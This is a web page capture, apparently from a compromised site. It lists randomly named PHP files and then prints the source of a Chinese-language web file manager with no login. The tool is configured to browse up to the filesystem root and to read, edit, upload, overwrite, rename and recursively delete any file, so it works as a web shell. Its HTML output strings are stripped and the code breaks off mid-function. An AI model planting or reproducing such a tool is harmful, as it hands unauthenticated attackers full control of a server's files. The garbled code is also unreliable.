选择文件名文件大小最后修改时间操作
[📄] 36r5hq6kq6.74 KB2026-10-03 04:04:28
[📄] assets_ee72a41.php3.45 KB2026-09-30 15:33:41
[📄] dpack.php7.91 KB2026-10-03 05:40:27
[📄] filemanager_rcttbwr.php43.54 KB2026-10-02 09:50:09
[📄] image_3ff7dc4.php5.57 KB2026-09-30 15:27:22
'文件管理器', 'root' => dirname(__FILE__), 'allow_above_root' => true, 'max_edit_bytes' => 1048576, 'show_hidden' => true, 'text_ext' => array( 'txt', 'text', 'log', 'md', 'markdown', 'rst', 'php', 'php3', 'php4', 'php5', 'php7', 'php8', 'phtml', 'phps', 'inc', 'html', 'htm', 'xhtml', 'shtml', 'css', 'scss', 'less', 'sass', 'js', 'mjs', 'cjs', 'ts', 'jsx', 'tsx', 'vue', 'svelte', 'json', 'json5', 'xml', 'xsl', 'svg', 'yml', 'yaml', 'toml', 'ini', 'conf', 'cfg', 'cnf', 'env', 'htaccess', 'properties', 'sql', 'sh', 'bash', 'zsh', 'bat', 'ps1', 'cmd', 'py', 'rb', 'pl', 'go', 'rs', 'c', 'h', 'cpp', 'hpp', 'cc', 'cs', 'java', 'kt', 'swift', 'lua', 'r', 'm', 'tpl', 'twig', 'blade', 'mustache', 'ejs', 'njk', 'csv', 'tsv', 'srt', 'vtt', 'ass', 'lock', 'patch', 'diff', 'gitignore', 'dockerignore', 'dockerfile', 'makefile', 'cmake', ), ); $ALLOW_ABOVE = $CFG['allow_above_root'] ? true : false; $ROOT = realpath($CFG['root']); if ($ROOT === false) { $ROOT = (string)$CFG['root']; } $ROOT = str_replace('\\', '/', (string)$ROOT); $ROOT = rtrim($ROOT, '/'); if ($ROOT === '') { $ROOT = '/'; } $ROOT_PREFIX = ($ROOT === '/') ? '/' : $ROOT . '/'; $BASE = $ALLOW_ABOVE ? '/' : $ROOT; $SELF = basename(__FILE__); if (!headers_sent() && function_exists('session_start')) { @session_start(); } $SESSION_OK = fm_session_active(); if (!isset($_SESSION) || !is_array($_SESSION)) { $_SESSION = array(); } if ($SESSION_OK) { if (empty($_SESSION['fm_token'])) { $_SESSION['fm_token'] = fm_random_hex(16); } $TOKEN = (string)$_SESSION['fm_token']; } else { $TOKEN = md5(__FILE__ . '|filemanager-static-token'); } function fm_session_active() { if (function_exists('session_status')) { return (session_status() === PHP_SESSION_ACTIVE); } return (session_id() !== ''); } function fm_random_hex($bytes) { if (function_exists('random_bytes')) { return bin2hex(random_bytes($bytes)); } if (function_exists('openssl_random_pseudo_bytes')) { $s = openssl_random_pseudo_bytes($bytes); if ($s !== false && strlen($s) === $bytes) { return bin2hex($s); } } $out = ''; for ($i = 0; $i < $bytes; $i++) { $out .= sprintf('%02x', mt_rand(0, 255)); } return $out; } function fm_hash_equals($a, $b) { if (function_exists('hash_equals')) { return hash_equals($a, $b); } if (strlen($a) !== strlen($b)) { return false; } $diff = 0; $len = strlen($a); for ($i = 0; $i < $len; $i++) { $diff = $diff | (ord($a[$i]) ^ ord($b[$i])); } return ($diff === 0); } function h($s) { $flags = ENT_QUOTES; if (defined('ENT_SUBSTITUTE')) { $flags = $flags | ENT_SUBSTITUTE; } return htmlspecialchars((string)$s, $flags, 'UTF-8'); } function fmt_size($bytes) { $bytes = (int)$bytes; if ($bytes < 0) { return '-'; } if ($bytes < 1024) { return $bytes . ' B'; } $units = array('KB', 'MB', 'GB', 'TB', 'PB'); $v = $bytes; $i = -1; do { $v = $v / 1024; $i++; } while ($v >= 1024 && $i < count($units) - 1); return round($v, $v < 10 ? 2 : 1) . ' ' . $units[$i]; } function fmt_time($ts) { $ts = (int)$ts; if ($ts <= 0) { return '-'; } return date('Y-m-d H:i:s', $ts); } function perm_str($path) { $p = @fileperms($path); if ($p === false) { return '-'; } return substr(sprintf('%o', $p), -4); } function norm_rel($p, $allowAbove) { $p = str_replace("\0", '', (string)$p); $p = str_replace('\\', '/', $p); $stack = array(); $segs = explode('/', $p); foreach ($segs as $seg) { if ($seg === '' || $seg === '.') { continue; } if ($seg === '..') { $last = (count($stack) > 0) ? $stack[count($stack) - 1] : null; if (count($stack) > 0 && $last !== '..') { array_pop($stack); } elseif ($allowAbove) { $stack[] = '..'; } continue; } $stack[] = $seg; } return implode('/', $stack); } function inside($abs) { global $ROOT, $ROOT_PREFIX; $rp = realpath($abs); if ($rp === false) { $rp = realpath(dirname($abs)); } if ($rp === false) { return false; } $rp = str_replace('\\', '/', $rp); return ($rp === $ROOT) || (strpos($rp, $ROOT_PREFIX) === 0); } function resolve_path($rel) { global $BASE, $ALLOW_ABOVE; $rel = norm_rel($rel, $ALLOW_ABOVE); if ($rel === '') { return $BASE; } $abs = rtrim($BASE, '/') . '/' . $rel; if (!$ALLOW_ABOVE && !inside($abs)) { return null; } return $abs; } function disp_path($rel) { global $BASE; if ($rel === '') { return ($BASE === '') ? '/' : $BASE; } return rtrim($BASE, '/') . '/' . $rel; } function url($q) { global $SELF; return $SELF . '?' . http_build_query($q); } function parent_rel($rel) { if ($rel === '') { return null; } $pos = strrpos($rel, '/'); return ($pos === false) ? '' : substr($rel, 0, $pos); } function rm_rf($path) { if (is_link($path)) { return @unlink($path); } if (is_file($path)) { return @unlink($path); } if (!is_dir($path)) { return false; } $ok = true; $items = @scandir($path); if ($items === false) { return false; } foreach ($items as $it) { if ($it === '.' || $it === '..') { continue; } if (!rm_rf($path . '/' . $it)) { $ok = false; } } return $ok && @rmdir($path); } function looks_binary($s) { if ($s === '') { return false; } if (strpos($s, "\0") !== false) { return true; } $sample = substr($s, 0, 4096); if (preg_match('/[\x01-\x08\x0B\x0C\x0E-\x1F]/', $sample) === 1) { return true; } return preg_match('//u', $sample) !== 1; } function is_text_ext($name) { global $CFG; $base = strtolower(basename($name)); if ($base === '') { return false; } if (in_array($base, array('dockerfile', 'makefile', 'cmakelists.txt', '.gitignore', '.htaccess', '.env'))) { return true; } $ext = strtolower(pathinfo($base, PATHINFO_EXTENSION)); if ($ext === '') { return false; } return in_array($ext, $CFG['text_ext']); } function is_image_ext($name) { $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); return in_array($ext, array('png', 'jpg', 'jpeg', 'gif', 'webp', 'bmp', 'ico', 'avif')); } function upload_err_text($c) { $m = array( UPLOAD_ERR_INI_SIZE => '超过 php.ini 的 upload_max_filesize', UPLOAD_ERR_FORM_SIZE => '超过表单允许的大小', UPLOAD_ERR_PARTIAL => '文件只上传了一部分', UPLOAD_ERR_NO_FILE => '没有选择文件', UPLOAD_ERR_NO_TMP_DIR => '服务器缺少临时目录', UPLOAD_ERR_CANT_WRITE => '服务器写磁盘失败', UPLOAD_ERR_EXTENSION => '被 PHP 扩展中断', ); return isset($m[$c]) ? $m[$c] : ('未知上传错误(' . $c . ')'); } $FLASH = null; function flash($msg, $type = "ok") { global $FLASH; if ($type === null) { $type = 'ok'; } $FLASH = array('m' => $msg, 't' => $type); if (fm_session_active()) { $_SESSION['fm_flash'] = $FLASH; } } function flash_take() { global $FLASH; $out = null; if (isset($_GET['f']) && is_string($_GET['f'])) { $raw = base64_decode($_GET['f'], true); if ($raw !== false && strpos($raw, '|') !== false) { $parts = explode('|', $raw, 2); $out = array('m' => $parts[1], 't' => ($parts[0] === 'err' ? 'err' : 'ok')); } } if ($out === null && is_array($FLASH)) { $out = $FLASH; } if ($out === null && isset($_SESSION['fm_flash']) && is_array($_SESSION['fm_flash'])) { $out = $_SESSION['fm_flash']; } unset($_SESSION['fm_flash']); return $out; } function redirect_q($q) { global $FLASH; if (is_array($FLASH)) { $q['f'] = base64_encode($FLASH['t'] . '|' . $FLASH['m']); } header('Location: ' . basename(__FILE__) . '?' . http_build_query($q)); exit; } function redirect_to($rel, $extra) { if (!is_array($extra)) { $extra = array(); } redirect_q(array_merge(array('p' => $rel), $extra)); } function csrf_ok() { global $TOKEN; $t = isset($_POST['t']) ? (string)$_POST['t'] : ''; if ($t === '') { return false; } return fm_hash_equals($TOKEN, $t); } function csrf_field() { global $TOKEN; return ''; } $act = isset($_POST['a']) ? (string)$_POST['a'] : (isset($_GET['a']) ? (string)$_GET['a'] : 'list'); $hasP = array_key_exists('p', $_GET) || array_key_exists('p', $_POST); $relRaw = isset($_GET['p']) ? (string)$_GET['p'] : (isset($_POST['p']) ? (string)$_POST['p'] : ''); $rel = norm_rel($relRaw, $ALLOW_ABOVE); if ($ALLOW_ABOVE) { if (!$hasP && $ROOT !== '' && $ROOT[0] === '/') { $rel = ltrim($ROOT, '/'); } if ($rel !== '') { $c = realpath(rtrim($BASE, '/') . '/' . $rel); if (is_string($c) && $c !== '' && $c[0] === '/') { $rel = ltrim(str_replace('\\', '/', $c), '/'); } } } $HOME_REL = ($ALLOW_ABOVE && $ROOT !== '' && $ROOT[0] === '/') ? ltrim($ROOT, '/') : ''; $sort = isset($_GET['o']) ? (string)$_GET['o'] : 'name'; if (!in_array($sort, array('name', 'size', 'time', 'type'))) { $sort = 'name'; } $order = (isset($_GET['d']) && (string)$_GET['d'] === 'desc') ? 'desc' : 'asc'; $QS = array('o' => $sort, 'd' => $order); if (isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] === 'POST') { if (!csrf_ok()) { flash('表单令牌校验失败,请刷新页面后重试', 'err'); redirect_to($rel, $QS); } if ($act === 'upload') { do_upload(); } elseif ($act === 'save') { do_save(); } elseif ($act === 'mkdir') { do_mkdir(); } elseif ($act === 'newfile') { do_newfile(); } elseif ($act === 'rename') { do_rename(); } elseif ($act === 'delete') { do_delete(); } else { flash('未知操作:' . $act, 'err'); redirect_to($rel, $QS); } } function do_upload() { global $CFG, $QS; $target = norm_rel(isset($_POST['p']) ? (string)$_POST['p'] : '', $CFG['allow_above_root']); $dirAbs = resolve_path($target); $back = $target; if ($dirAbs === null || !is_dir($dirAbs)) { flash('目标目录不存在或不在允许范围内:' . disp_path($target), 'err'); redirect_to($back, $QS); } if (!is_writable($dirAbs)) { flash('目标目录不可写:' . disp_path($target), 'err'); redirect_to($back, $QS); } $mode = (isset($_POST['mode']) && (string)$_POST['mode'] === 'replace') ? 'replace' : 'upload'; $name = isset($_POST['name']) ? trim((string)$_POST['name']) : ''; if ($name === '' && isset($_FILES['file']['name'])) { $name = trim((string)$_FILES['file']['name']); } $name = basename(str_replace('\\', '/', $name)); $name = str_replace("\0", '', $name); if ($name === '' || $name === '.' || $name === '..') { flash('文件名无效', 'err'); redirect_to($back, $QS); } $dest = $dirAbs . '/' . $name; if (!inside($dest)) { flash('目标路径越界,已阻止:' . $name, 'err'); redirect_to($back, $QS); } if ($mode === 'replace') { if (!is_file($dest)) { flash('目标文件不存在,无法替换:' . $name, 'err'); redirect_to($back, $QS); } } elseif (file_exists($dest) && !isset($_POST['overwrite'])) { flash('同名文件已存在,未覆盖(勾选「覆盖同名文件」可强制替换):' . $name, 'err'); redirect_to($back, $QS); } if (!isset($_FILES['file']['tmp_name'])) { flash('没有接收到上传文件', 'err'); redirect_to($back, $QS); } $code = isset($_FILES['file']['error']) ? (int)$_FILES['file']['error'] : UPLOAD_ERR_NO_FILE; if ($code !== UPLOAD_ERR_OK) { flash('上传失败:' . upload_err_text($code), 'err'); redirect_to($back, $QS); } if (!is_uploaded_file($_FILES['file']['tmp_name'])) { flash('上传临时文件校验失败', 'err'); redirect_to($back, $QS); } $old = file_exists($dest) ? (int)@filesize($dest) : 0; if (!@move_uploaded_file($_FILES['file']['tmp_name'], $dest)) { flash('写入失败(目录权限?):' . $dest, 'err'); redirect_to($back, $QS); } @chmod($dest, 0644); $new = (int)@filesize($dest); flash(($mode === 'replace' ? '替换成功:' : '上传成功:') . $name . '(' . fmt_size($old) . ' → ' . fmt_size($new) . ')', 'ok'); redirect_to($back, $QS); } function do_save() { global $CFG, $QS; $f = norm_rel(isset($_POST['f']) ? (string)$_POST['f'] : '', $CFG['allow_above_root']); $abs = resolve_path($f); if ($f === '' || $abs === null || is_dir($abs)) { flash('文件不存在:' . disp_path($f), 'err'); redirect_to(parent_rel($f), $QS); } if (!is_writable($abs)) { flash('文件不可写:' . disp_path($f), 'err'); redirect_to(parent_rel($f), $QS); } $data = isset($_POST['content']) ? (string)$_POST['content'] : ''; $data = str_replace(array("\r\n", "\r"), "\n", $data); if (strlen($data) > (int)$CFG['max_edit_bytes']) { flash('内容超过在线编辑上限 ' . fmt_size((int)$CFG['max_edit_bytes']), 'err'); redirect_to(parent_rel($f), $QS); } $n = @file_put_contents($abs, $data, LOCK_EX); if ($n === false) { flash('保存失败:' . disp_path($f), 'err'); } else { flash('已保存:' . basename($f) . '(写入 ' . fmt_size((int)$n) . ')', 'ok'); } redirect_q(array('a' => 'view', 'f' => $f)); } function do_mkdir() { global $CFG, $QS; $dir = norm_rel(isset($_POST['p']) ? (string)$_POST['p'] : '', $CFG['allow_above_root']); $abs = resolve_path($dir); $name = basename(str_replace('\\', '/', trim(isset($_POST['name']) ? (string)$_POST['name'] : ''))); if ($abs === null || !is_dir($abs)) { flash('目标目录不存在', 'err'); redirect_to($dir, $QS); } if ($name === '' || $name === '.' || $name === '..') { flash('目录名无效', 'err'); redirect_to($dir, $QS); } $dest = $abs . '/' . $name; if (file_exists($dest)) { flash('同名文件或目录已存在:' . $name, 'err'); redirect_to($dir, $QS); } if (!@mkdir($dest, 0755, true)) { flash('创建目录失败(权限?):' . $name, 'err'); redirect_to($dir, $QS); } flash('已创建目录:' . $name, 'ok'); redirect_to(($dir === '' ? $name : $dir . '/' . $name), $QS); } function do_newfile() { global $CFG, $QS; $dir = norm_rel(isset($_POST['p']) ? (string)$_POST['p'] : '', $CFG['allow_above_root']); $abs = resolve_path($dir); $name = basename(str_replace('\\', '/', trim(isset($_POST['name']) ? (string)$_POST['name'] : ''))); if ($abs === null || !is_dir($abs)) { flash('目标目录不存在', 'err'); redirect_to($dir, $QS); } if ($name === '' || $name === '.' || $name === '..') { flash('文件名无效', 'err'); redirect_to($dir, $QS); } $dest = $abs . '/' . $name; if (file_exists($dest) && !isset($_POST['overwrite'])) { flash('同名文件已存在(勾选覆盖可强制写入):' . $name, 'err'); redirect_to($dir, $QS); } $content = isset($_POST['content']) ? (string)$_POST['content'] : ''; $content = str_replace(array("\r\n", "\r"), "\n", $content); if (@file_put_contents($dest, $content, LOCK_EX) === false) { flash('创建文件失败(权限?):' . $name, 'err'); redirect_to($dir, $QS); } flash('已创建文件:' . $name, 'ok'); redirect_q(array('a' => 'view', 'f' => ($dir === '' ? $name : $dir . '/' . $name))); } function do_rename() { global $CFG, $QS; $f = norm_rel(isset($_POST['f']) ? (string)$_POST['f'] : '', $CFG['allow_above_root']); $abs = resolve_path($f); $parent = parent_rel($f); if ($parent === null) { $parent = ''; } if ($f === '' || $abs === null || !file_exists($abs)) { flash('目标不存在:' . disp_path($f), 'err'); redirect_to($parent, $QS); } if (basename($abs) === basename(__FILE__)) { flash('不能重命名管理器自身', 'err'); redirect_to($parent, $QS); } $new = basename(str_replace('\\', '/', trim(isset($_POST['newname']) ? (string)$_POST['newname'] : ''))); if ($new === '' || $new === '.' || $new === '..') { flash('新名称无效', 'err'); redirect_to($parent, $QS); } if ($new === basename($abs)) { flash('名称未变化', 'err'); redirect_to($parent, $QS); } $dest = dirname($abs) . '/' . $new; if (file_exists($dest)) { flash('目标名称已存在:' . $new, 'err'); redirect_to($parent, $QS); } if (!@rename($abs, $dest)) { flash('重命名失败(权限?):' . basename($f), 'err'); redirect_to($parent, $QS); } flash('已重命名:' . basename($f) . ' → ' . $new, 'ok'); redirect_to($parent, $QS); } function do_delete() { global $CFG, $QS; $f = norm_rel(isset($_POST['f']) ? (string)$_POST['f'] : '', $CFG['allow_above_root']); $abs = resolve_path($f); $parent = parent_rel($f); if ($parent === null) { $parent = ''; } if ($f === '' || $abs === null || !file_exists($abs)) { flash('目标不存在:' . disp_path($f), 'err'); redirect_to($parent, $QS); } if (basename($abs) === basename(__FILE__)) { flash('不能删除管理器自身', 'err'); redirect_to($parent, $QS); } if (!is_writable(dirname($abs))) { flash('父目录不可写,无法删除:' . disp_path($f), 'err'); redirect_to($parent, $QS); } $isDir = is_dir($abs); $ok = rm_rf($abs); flash($ok ? ('已删除' . ($isDir ? '目录' : '文件') . ':' . basename($f)) : ('删除失败(权限?):' . basename($f)), $ok ? 'ok' : 'err'); redirect_to($parent, $QS); } if ($act === 'download' || $act === 'raw') { $f = norm_rel(isset($_GET['f']) ? (string)$_GET['f'] : '', $ALLOW_ABOVE); $abs = resolve_path($f); if ($f === '' || $abs === null || !is_file($abs) || !is_readable($abs)) { header('Content-Type: text/plain; charset=utf-8'); echo "ERR: 文件不存在或不可读\n"; exit; } $name = basename($abs); $size = (int)@filesize($abs); while (ob_get_level() > 0) { @ob_end_clean(); } header('X-Content-Type-Options: nosniff'); if ($act === 'raw') { $mimes = array( 'png' => 'image/png', 'jpg' => 'image/jpeg', 'jpeg' => 'image/jpeg', 'gif' => 'image/gif', 'webp' => 'image/webp', 'bmp' => 'image/bmp', 'avif' => 'image/avif', 'ico' => 'image/x-icon', 'svg' => 'image/svg+xml', 'pdf' => 'application/pdf', 'mp4' => 'video/mp4', 'webm' => 'video/webm', 'mp3' => 'audio/mpeg', 'wav' => 'audio/wav', 'ogg' => 'audio/ogg', 'txt' => 'text/plain; charset=utf-8', ); $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); header('Content-Type: ' . (isset($mimes[$ext]) ? $mimes[$ext] : 'application/octet-stream')); header('Content-Length: ' . $size); header('Content-Disposition: inline; filename="' . rawurlencode($name) . '"'); } else { header('Content-Type: application/octet-stream'); header('Content-Length: ' . $size); header('Content-Disposition: attachment; filename="' . addcslashes(preg_replace('/[^\x20-\x7E]/', '_', $name), '"\\') . '"; filename*=UTF-8\'\'' . rawurlencode($name)); header('Cache-Control: no-store'); } $fp = @fopen($abs, 'rb'); if ($fp === false) { exit; } while (!feof($fp)) { $buf = fread($fp, 262144); if ($buf === false) { break; } echo $buf; @flush(); } fclose($fp); exit; } $FM_CSS = ' *{box-sizing:border-box} :root{--bg:#0e1116;--panel:#161b22;--panel2:#1b222c;--line:#26303c;--fg:#dde5ee;--muted:#8b98a8;--acc:#4aa8ff;--ok:#34c07a;--err:#ff6b6b} html,body{margin:0;padding:0} body{background:var(--bg);color:var(--fg);font:14px/1.65 -apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Noto Sans CJK SC","Microsoft YaHei",Arial,sans-serif} a{color:var(--acc);text-decoration:none} a:hover{text-decoration:underline} .wrap{max-width:1440px;margin:0 auto;padding:16px 16px 40px} .bar{background:var(--panel);border:1px solid var(--line);border-radius:12px;padding:12px 14px;margin-bottom:12px} .brand{font-weight:700;font-size:16px} .muted{color:var(--muted)} code,pre,kbd{font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,"Liberation Mono",monospace} .crumbs{margin-top:8px;word-break:break-all;line-height:2} .crumbs .sep{color:var(--muted);margin:0 2px} .toolbar{display:flex;flex-wrap:wrap;gap:8px;align-items:center;margin:12px 0} .btn{display:inline-block;padding:4px 10px;border:1px solid var(--line);border-radius:8px;background:var(--panel2);color:var(--fg);cursor:pointer;font-size:13px;line-height:1.7} .btn:hover{background:#223041;text-decoration:none} .btn.p{background:#123a5c;border-color:#1d5b8f} .btn.d{color:#ffb4b4;border-color:#5a2a2a;background:#2a1a1a} input[type=text],input[type=file],select,textarea{background:#0c1016;color:var(--fg);border:1px solid var(--line);border-radius:8px;padding:6px 8px;font-size:13px;font-family:inherit} input[type=text]{min-width:200px} textarea{width:100%;min-height:58vh;font-family:ui-monospace,Menlo,Consolas,monospace;font-size:13px;line-height:1.5;white-space:pre;overflow:auto} table{width:100%;border-collapse:collapse;background:var(--panel);border:1px solid var(--line);border-radius:12px;overflow:hidden} th,td{padding:7px 10px;border-bottom:1px solid var(--line);text-align:left;vertical-align:middle} th{background:var(--panel2);color:var(--muted);font-weight:600;font-size:12px;white-space:nowrap} tr:last-child td{border-bottom:0} tbody tr:hover{background:#1a212b} td.n{white-space:normal;word-break:break-all} td.num{white-space:nowrap;color:var(--muted);font-size:12px} td.act{white-space:nowrap} td.act a,td.act span{margin-right:8px;font-size:13px} .msg{padding:9px 12px;border-radius:10px;margin:10px 0;border:1px solid} .msg.ok{background:#10261b;border-color:#1f5c3c;color:#8ef0bb} .msg.err{background:#2a1414;border-color:#6a2a2a;color:#ffc0c0} .panel{background:var(--panel);border:1px solid var(--line);border-radius:12px;padding:14px;margin-bottom:12px} .panel h3{margin:0 0 10px;font-size:14px} form.inline{display:flex;flex-wrap:wrap;gap:8px;align-items:center} pre.view{background:#0a0e13;border:1px solid var(--line);border-radius:10px;padding:12px;overflow:auto;max-height:70vh;white-space:pre;font-size:13px;margin:0} img.preview{max-width:100%;max-height:70vh;border:1px solid var(--line);border-radius:10px;background:#0a0e13} .chk{color:var(--muted);font-size:13px;display:inline-flex;align-items:center;gap:4px} .kv{color:var(--muted);font-size:12px} '; function page_top($title) { global $FM_CSS, $CFG; echo ''; echo ''; echo '' . h($title) . ' - ' . h($CFG['title']) . ''; echo '
'; } function page_foot() { echo '
'; } function msg_box() { $f = flash_take(); if (!is_array($f)) { return; } $cls = (isset($f['t']) && $f['t'] === 'err') ? 'err' : 'ok'; echo '
' . h(isset($f['m']) ? $f['m'] : '') . '
'; } function nav_block($rel) { global $ROOT, $BASE, $SELF, $QS, $ALLOW_ABOVE, $HOME_REL; $parent = parent_rel($rel); $startLabel = ($BASE === '/') ? '/' : $ROOT; echo '
'; echo '
📁 文件管理器
'; if ($ALLOW_ABOVE) { echo '
初始目录(本 PHP 所在目录):' . h($ROOT) . '' . ' · 可向上浏览至 /,不限制根目录
'; } else { echo '
根路径(本 PHP 所在目录):' . h($ROOT) . '' . ' · 浏览已锁死在该目录内
'; } echo '
当前目录:' . h(disp_path($rel)) . '
'; echo '
'; $segs = ($rel === '') ? array() : explode('/', $rel); echo '🏠 ' . h($startLabel) . ''; $acc = array(); $total = count($segs); for ($i = 0; $i < $total; $i++) { $s = $segs[$i]; $acc[] = $s; $p = implode('/', $acc); echo '/'; if ($i === $total - 1) { echo '' . h($s) . ''; } else { echo '' . h($s) . ''; } } echo '
'; echo '
'; if ($parent !== null) { echo '⬆ 上级目录'; } else { echo '⬆ 上级目录(已在文件系统根 /)'; } if ($rel !== $HOME_REL) { echo '🏠 初始目录'; } echo '🔄 刷新'; echo '➕ 新建目录'; echo '📄 新建文件'; echo '
'; echo ''; echo ''; echo ''; echo '
'; $sortLabels = array('name' => '名称', 'size' => '大小', 'time' => '时间', 'type' => '类型'); echo '排序:'; foreach ($sortLabels as $k => $label) { $d = ($QS['o'] === $k && $QS['d'] === 'asc') ? 'desc' : 'asc'; $arrow = ($QS['o'] === $k) ? ($QS['d'] === 'asc' ? ' ↑' : ' ↓') : ''; echo '' . h($label . $arrow) . ''; } echo '
'; echo '
'; echo '

⬆ 上传文件到当前目录 / 覆盖同名文件

'; echo '
'; echo ''; echo ''; echo ''; echo csrf_field(); echo ''; echo ''; echo ''; echo ''; echo '
'; echo '
上传目标目录:' . h(disp_path($rel)) . '(' . (is_writable(disp_path($rel)) ? '可写' : '不可写') . ')
'; echo '
'; echo '
'; } function fm_cmp_rows($x, $y) { if ($x['dir'] !== $y['dir']) { return $x['dir'] ? -1 : 1; } $sort = $GLOBALS['fm_sort_key']; $r = 0; if ($sort === 'size') { $r = ($x['size'] < $y['size']) ? -1 : (($x['size'] > $y['size']) ? 1 : 0); } elseif ($sort === 'time') { $r = ($x['mtime'] < $y['mtime']) ? -1 : (($x['mtime'] > $y['mtime']) ? 1 : 0); } elseif ($sort === 'type') { $ex = strtolower(pathinfo($x['name'], PATHINFO_EXTENSION)); $ey = strtolower(pathinfo($y['name'], PATHINFO_EXTENSION)); $r = strcmp($ex, $ey); if ($r === 0) { $r = strnatcasecmp($x['name'], $y['name']); } } else { $r = strnatcasecmp($x['name'], $y['name']); } if ($GLOBALS['fm_sort_desc']) { $r = -$r; } return $r; } function render_list($rel) { global $CFG, $QS, $HOME_REL; $abs = resolve_path($rel); if ($abs === null || !is_dir($abs)) { flash('目录不存在或不可读,已回到初始目录', 'err'); $rel = $HOME_REL; $abs = disp_path($rel); } page_top(disp_path($rel)); msg_box(); nav_block($rel); $items = @scandir($abs); if ($items === false) { echo '
目录不可读(权限不足):' . h($abs) . '
'; page_foot(); return; } $rows = array(); foreach ($items as $name) { if ($name === '.' || $name === '..') { continue; } if (!$CFG['show_hidden'] && $name !== '' && $name[0] === '.') { continue; } $p = $abs . '/' . $name; $isDir = is_dir($p); $rows[] = array( 'name' => $name, 'dir' => $isDir, 'link' => is_link($p), 'size' => $isDir ? -1 : (int)@filesize($p), 'mtime' => (int)@filemtime($p), 'perm' => perm_str($p), 'wr' => is_writable($p), 'rel' => ($rel === '' ? $name : $rel . '/' . $name), ); } $GLOBALS['fm_sort_key'] = $QS['o']; $GLOBALS['fm_sort_desc'] = ($QS['d'] === 'desc'); usort($rows, 'fm_cmp_rows'); $nDir = 0; $nFile = 0; $nSize = 0; foreach ($rows as $r) { if ($r['dir']) { $nDir++; } else { $nFile++; if ($r['size'] > 0) { $nSize = $nSize + $r['size']; } } } echo '
共 ' . count($rows) . ' 项(目录 ' . $nDir . ' / 文件 ' . $nFile . ',文件合计 ' . h(fmt_size($nSize)) . ')
'; echo ''; echo ''; echo ''; if (count($rows) === 0) { echo ''; } foreach ($rows as $r) { $icon = $r['dir'] ? '📁' : (is_image_ext($r['name']) ? '🖼️' : (is_text_ext($r['name']) ? '📄' : '📦')); $qname = $r['name'] . ($r['dir'] ? '/' : '') . ($r['link'] ? ' ↗' : ''); echo ''; if ($r['dir']) { echo ''; echo ''; } else { echo ''; echo ''; } echo ''; echo ''; echo ''; } echo '
名称大小修改时间权限操作
空目录
' . $icon . '' . h($qname) . '-' . $icon . '' . h($qname) . '' . h(fmt_size($r['size'])) . '' . h(fmt_time($r['mtime'])) . '' . h($r['perm']) . ($r['wr'] ? '' : ' 🔒') . ''; if ($r['dir']) { echo '进入'; } else { echo '查看'; echo '编辑'; echo '下载'; echo '替换'; } echo '重命名'; echo '删除'; echo '
'; page_foot(); } function render_view($f) { global $CFG; $abs = resolve_path($f); if ($f === '' || $abs === null || !is_file($abs)) { page_top('查看'); msg_box(); echo '
文件不存在:' . h(disp_path($f)) . '
'; echo '

← 返回目录

'; page_foot(); return; } $name = basename($abs); $size = (int)@filesize($abs); page_top('查看 ' . $name); msg_box(); echo '
👁 查看:' . h($name) . '
'; echo '
路径:' . h($abs) . '
'; echo '
大小:' . h(fmt_size($size)) . ' · 修改:' . h(fmt_time(@filemtime($abs))) . ' · 权限:' . h(perm_str($abs)) . ' · ' . (is_writable($abs) ? '可写' : '只读') . '
'; echo '
'; echo '← 返回目录'; echo '⬇ 下载'; echo '✏️ 编辑'; echo '⬆ 上传替换'; echo '🏷 重命名'; echo '🗑 删除'; echo '
'; if (is_image_ext($name)) { echo '
' . h($name) . '
'; page_foot(); return; } if ($size > (int)$CFG['max_edit_bytes']) { echo '
文件超过 ' . h(fmt_size((int)$CFG['max_edit_bytes'])) . ',不在此处预览,请直接下载。
'; page_foot(); return; } $content = (string)@file_get_contents($abs); if ((!is_text_ext($name) && looks_binary($content)) || strpos($content, "\0") !== false) { echo '
二进制文件,无法文本预览。请下载查看。
'; page_foot(); return; } echo '
' . h($content) . '
'; page_foot(); } function render_edit($f) { global $CFG; $abs = resolve_path($f); if ($f === '' || $abs === null || !is_file($abs)) { page_top('编辑'); msg_box(); echo '
文件不存在:' . h(disp_path($f)) . '
'; echo '

← 返回目录

'; page_foot(); return; } $name = basename($abs); $size = (int)@filesize($abs); $max = (int)$CFG['max_edit_bytes']; $tooBig = ($size > $max); $content = $tooBig ? '' : (string)@file_get_contents($abs); $binary = (!$tooBig && !is_text_ext($name) && looks_binary($content)); page_top('编辑 ' . $name); msg_box(); echo '
✏️ 编辑:' . h($name) . '
'; echo '
路径:' . h($abs) . '
'; echo '
大小:' . h(fmt_size($size)) . ' · 修改:' . h(fmt_time(@filemtime($abs))) . ' · 权限:' . h(perm_str($abs)) . ' · ' . (is_writable($abs) ? '可写' : '只读(保存会失败)') . '
'; echo '
'; echo '← 返回目录'; echo '👁 查看'; echo '⬇ 下载'; echo '
'; if ($tooBig) { echo '
文件超过在线编辑上限 ' . h(fmt_size($max)) . ',请下载后本地修改,再用「上传替换」写回。
'; page_foot(); return; } if ($binary) { echo '
检测到二进制内容,直接保存可能损坏文件。请改用「上传替换」。
'; } echo '
'; echo ''; echo ''; echo csrf_field(); echo ''; echo '
'; echo '取消'; echo '保存为 UTF-8,换行统一为 LF
'; echo '
'; page_foot(); } function render_replace($f) { $abs = resolve_path($f); if ($f === '' || $abs === null || !is_file($abs)) { page_top('上传替换'); msg_box(); echo '
文件不存在:' . h(disp_path($f)) . '
'; echo '

← 返回目录

'; page_foot(); return; } $parent = parent_rel($f); if ($parent === null) { $parent = ''; } page_top('上传替换 ' . basename($abs)); msg_box(); echo '
⬆ 上传替换:' . h(basename($abs)) . '
'; echo '
目标文件:' . h($abs) . '
'; echo '
当前大小:' . h(fmt_size(@filesize($abs))) . ' · 权限:' . h(perm_str($abs)) . ' · ' . (is_writable($abs) ? '可写' : '不可写(替换会失败)') . '
'; echo '
'; echo '

选择本地文件覆盖该文件

'; echo '
'; echo ''; echo ''; echo ''; echo ''; echo csrf_field(); echo ''; echo ''; echo '取消'; echo '
'; echo '
替换后原文件内容将被完全覆盖,不可撤销。
'; echo '
'; page_foot(); } function render_mkdir_page($rel) { global $QS; page_top('新建目录'); msg_box(); echo '
➕ 在下面创建目录
'; echo '
位置:' . h(disp_path($rel)) . '
'; echo '
'; echo ''; echo csrf_field(); echo ''; echo ''; echo '返回'; echo '
